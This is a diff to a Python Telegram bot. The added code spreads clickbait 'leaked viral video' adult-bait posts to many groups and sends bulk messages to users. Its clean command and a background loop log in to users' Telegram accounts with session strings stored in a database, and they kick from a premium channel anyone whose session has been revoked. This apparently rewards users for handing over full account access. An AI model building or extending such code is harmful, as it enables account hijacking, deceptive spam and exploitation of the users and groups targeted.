Update app.py

app.py

@@ -414,4 +414,245 @@ async def handle_media_upload(client, message):
             await status_msg.edit_text("⏳ Uploading video to byse.sx server...")
             api_endpoint = "https://api.byse.sx/upload/server"
             loop = asyncio.get_event_loop()
-            response = await loop.run_in_executor(None, lambda: request
+            response = await loop.run_in_executor(None, lambda: requests.get(api_endpoint, params={'key': BYSE_API_KEY}, timeout=30))
+            result = response.json()
+            
+            if result.get('status') == 200:
+                upload_res = await loop.run_in_executor(None, upload_file_sync, result.get('result'), final_file, BYSE_API_KEY)
+                if upload_res.get('status') == 200 and 'files' in upload_res and len(upload_res['files']) > 0:
+                    file_status = upload_res['files'][0].get('status', '')
+                    if "not allowed" in str(file_status).lower():
+                        await status_msg.edit_text(f"❌ byse.sx rejected the file: <code>{file_status}</code>", parse_mode=enums.ParseMode.HTML)
+                        return
+                    file_code = upload_res['files'][0].get('filecode')
+                    if file_code: embed_link = f"https://bysesayeveum.com/e/{file_code}"
+            
+            if not embed_link:
+                await status_msg.edit_text("❌ Uploaded to byse.sx but Embed Link not found.")
+                return
+
+        if is_large_video:
+            admin_cap = f"✅ <b>Success! (Large Video)</b>\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>\n\n📌 <i>Broadcast skipped due to large file size.</i>"
+            await client.send_video(message.chat.id, message.video.file_id, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
+            await status_msg.delete()
+            return  
+
+        await status_msg.edit_text("⏳ Preparing to broadcast to groups...")
+        if media_type == "video":
+            caption_text = f"🔥 <b>New Premium Viral Video Leaked!</b> 🔞\n\n🎬 <b>Watch HD Video Here:</b>\n👉 <b><a href='{embed_link if is_blur else bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>"
+        else:
+            caption_text = f"{clean_caption}\n\n👇 <i>Click the button below to open Bot!</i>" if clean_caption else f"🔥 <b>New Premium Viral Content!</b> 🔞\n\n🎬 <b>Watch HD Video Here:</b>\n👉 <b><a href='{bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>"
+        
+        group_markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Full Video Here 🔞", url=bot_link)]])
+        admin_cap = f"✅ <b>Success!</b> Media is broadcasting...\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>"
+        
+        thumb_path = None
+        if media_type == "video":
+            thumb_path = f"{original_file}_thumb.jpg"
+            proc = await asyncio.create_subprocess_exec("ffmpeg", "-y", "-i", final_file, "-vframes", "1", thumb_path, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
+            await proc.communicate()
+            if not os.path.exists(thumb_path): thumb_path = None
+
+        if media_type == "photo":
+            sent_to_admin = await client.send_photo(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
+            tg_file_id = sent_to_admin.photo.file_id
+        elif media_type == "animation":
+            sent_to_admin = await client.send_animation(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
+            tg_file_id = sent_to_admin.animation.file_id
+        else:
+            # Pyrogram V2 thumbnail ফিক্স
+            sent_to_admin = await client.send_video(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML, duration=message.video.duration, width=message.video.width, height=message.video.height, thumbnail=thumb_path)
+            tg_file_id = sent_to_admin.video.file_id
+            
+        await status_msg.delete()
+        groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
+        group_ids = [g['group_id'] for g in groups_res.data]
+        success_count, fail_count = 0, 0
+        
+        for gid in set(group_ids):
+            try:
+                if media_type == "photo": await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
+                elif media_type == "animation": await client.send_animation(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
+                else: await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
+                success_count += 1
+                await asyncio.sleep(1.5)
+            except Exception: fail_count += 1 
+                
+        await message.reply(f"📢 <b>Broadcast Complete!</b>\n\n✅ Success: {success_count} groups\n❌ Failed: {fail_count} groups", parse_mode=enums.ParseMode.HTML)
+        
+    except Exception as e: await message.reply(f"⚠️ Error occurred: {str(e)}")
+    finally:
+        for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None]:
+            if f and os.path.exists(f):
+                try: os.remove(f)
+                except: pass
+
+@bot.on_message(filters.command(["stats", "users"]) & filters.private & filters.user(ADMIN_IDS))
+async def bot_stats(client, message):
+    try:
+        users = await db_query(lambda: supabase.table('referrals').select('user_id', count='exact').execute())
+        videos = await db_query(lambda: supabase.table('videos').select('*', count='exact').execute())
+        groups = await db_query(lambda: supabase.table('groups').select('group_id', count='exact').execute())
+        await message.reply(f"📊 <b>Bot Stats:</b>\n👥 Users: <code>{users.count or 0}</code>\n🎬 Videos: <code>{videos.count or 0}</code>\n📢 Groups: <code>{groups.count or 0}</code>", parse_mode=enums.ParseMode.HTML)
+    except Exception as e: print(e)
+
+@bot.on_message(filters.command("broadcast") & filters.private & filters.user(ADMIN_IDS))
+async def broadcast_command(client, message):
+    admin_states[message.chat.id] = {"step": "broadcast"}
+    await message.reply("📢 Send the message you want to broadcast. (Send /cancel to abort)")
+
+async def process_broadcast(client, message):
+    text = message.text or message.caption
+    if text == '/cancel':
+        admin_states.pop(message.chat.id, None)
+        await message.reply("❌ Cancelled.")
+        return
+    
+    await message.reply("⏳ Broadcast started...")
+    admin_states.pop(message.chat.id, None)
+    
+    try:
+        all_users, start, step = [], 0, 1000
+        while True:
+            res = await db_query(lambda: supabase.table('referrals').select('user_id').range(start, start + step - 1).execute())
+            if not res.data: break
+            all_users.extend(res.data)
+            start += step
+
+        success, failed = 0, 0
+        for u in all_users:
+            try:
+                await message.copy(chat_id=u['user_id'])
+                success += 1
+                await asyncio.sleep(0.15) 
+            except Exception: failed += 1
+                
+        await message.reply(f"✅ Broadcast Complete!\nSuccess: {success}\nFailed: {failed}")
+    except Exception as e: print(e)
+
+@bot.on_message(filters.command(["png", "addvideo"]) & filters.private & filters.user(ADMIN_IDS))
+async def add_png(client, message):
+    try:
+        parts = message.command
+        needed_ref, duration = 3, "random"
+        if len(parts) == 4 and parts[1].isdigit(): needed_ref, duration, thumbnail_url = int(parts[1]), parts[2], parts[3]
+        elif len(parts) == 3 and parts[1].isdigit(): needed_ref, thumbnail_url = int(parts[1]), parts[2]
+        elif len(parts) == 2: thumbnail_url = parts[1]
+        else: return await message.reply("❌ Invalid format.")
+
+        admin_states[message.chat.id] = {"step": 1, "thumbnail_url": f"{thumbnail_url}||{duration}", "needed_ref": needed_ref}
+        await message.reply("✅ Now send the Video/Embed Link.")
+    except Exception as e: print(e)
+
+# সেশন টার্মিনেশন চেক এবং কিক আউট করার এডমিন কমান্ড
+@bot.on_message(filters.command("clean") & filters.private & filters.user(ADMIN_IDS))
+async def manual_clean_channel(client, message):
+    await message.reply("⏳ <b>Starting channel cleanup...</b>\nChecking all members in the premium channel to verify active sessions. This might take a while.")
+    try:
+        kicked, checked = 0, 0
+        async for member in client.get_chat_members(PREMIUM_CHANNEL_ID):
+            if member.user.is_bot or member.status in [enums.ChatMemberStatus.ADMINISTRATOR, enums.ChatMemberStatus.OWNER]:
+                continue
+            
+            checked += 1
+            user_id = member.user.id
+            res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
+            
+            is_valid = False
+            if res.data:
+                session_string = res.data[0]['session_string']
+                temp_client = Client(f"manual_chk_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
+                try:
+                    await temp_client.connect()
+                    await temp_client.get_me()
+                    await temp_client.disconnect()
+                    is_valid = True
+                except Exception:
+                    try: await temp_client.disconnect()
+                    except: pass
+                    await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
+            
+            if not is_valid:
+                try:
+                    await client.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
+                    await client.unban_chat_member(PREMIUM_CHANNEL_ID, user_id) # Kick only (allows re-join later)
+                    kicked += 1
+                except Exception as e: pass
+            
+            await asyncio.sleep(1.5)
+            
+        await message.reply(f"✅ <b>Cleanup Complete!</b>\n\n👥 Members checked: {checked}\n👢 Users Kicked (Terminated Session): {kicked}")
+    except Exception as e:
+        await message.reply(f"❌ Error: {e}")
+
+# সেশন টার্মিনেশনের অটো ব্যাকগ্রাউন্ড চেকার লুপ
+async def auto_clean_channel_loop():
+    await asyncio.sleep(60) # startup delay
+    while True:
+        try:
+            async for member in bot.get_chat_members(PREMIUM_CHANNEL_ID):
+                if member.user.is_bot or member.status in [enums.ChatMemberStatus.ADMINISTRATOR, enums.ChatMemberStatus.OWNER]:
+                    continue
+                
+                user_id = member.user.id
+                res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
+                
+                is_valid = False
+                if res.data:
+                    session_string = res.data[0]['session_string']
+                    temp_client = Client(f"bg_chk_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
+                    try:
+                        await temp_client.connect()
+                        await temp_client.get_me()
+                        await temp_client.disconnect()
+                        is_valid = True
+                    except (SessionRevoked, AuthKeyUnregistered, UserDeactivated):
+                        try: await temp_client.disconnect()
+                        except: pass
+                        await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
+                    except Exception:
+                        try: await temp_client.disconnect()
+                        except: pass
+                        is_valid = True # নেটওয়ার্ক এরর হলে যেন ইউজার কিক না খায়!
+                
+                if not is_valid:
+                    try:
+                        await bot.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
+                        await bot.unban_chat_member(PREMIUM_CHANNEL_ID, user_id)
+                    except Exception: pass
+                
+                await asyncio.sleep(2)
+        except Exception as e:
+            print(f"Auto clean error: {e}")
+        
+        await asyncio.sleep(4 * 3600) # Run every 4 hours
+
+@bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur", "clean"]))
+async def catch_admin_steps(client, message):
+    state = admin_states.get(message.chat.id, {})
+    if state.get("step") == 1:
+        if not message.text: return
+        video_url = message.text.strip()
+        if video_url == "/cancel":
+            admin_states.pop(message.chat.id, None)
+            return await message.reply("❌ Cancelled.")
+            
+        try:
+            await db_query(lambda: supabase.table('videos').insert({"video_url": video_url, "thumbnail_url": state["thumbnail_url"], "needed_ref": state["needed_ref"]}).execute())
+            await message.reply("🎉 Video added successfully!")
+        except Exception as e: print(e)
+        finally: admin_states.pop(message.chat.id, None)
+    elif state.get("step") == "broadcast":
+        await process_broadcast(client, message)
+
+def run_flask(): app.run(host="0.0.0.0", port=int(os.environ.get("PORT", 7860)))
+async def main():
+    await bot.start()
+    print("🤖 Pyrogram Bot & Real Session API is running!")
+    asyncio.create_task(auto_clean_channel_loop())
+    await idle()
+    await bot.stop()
+
+if __name__ == "__main__":
+    threading.Thread(target=run_flask, daemon=True).start()
+    main_loop.run_until_complete(main())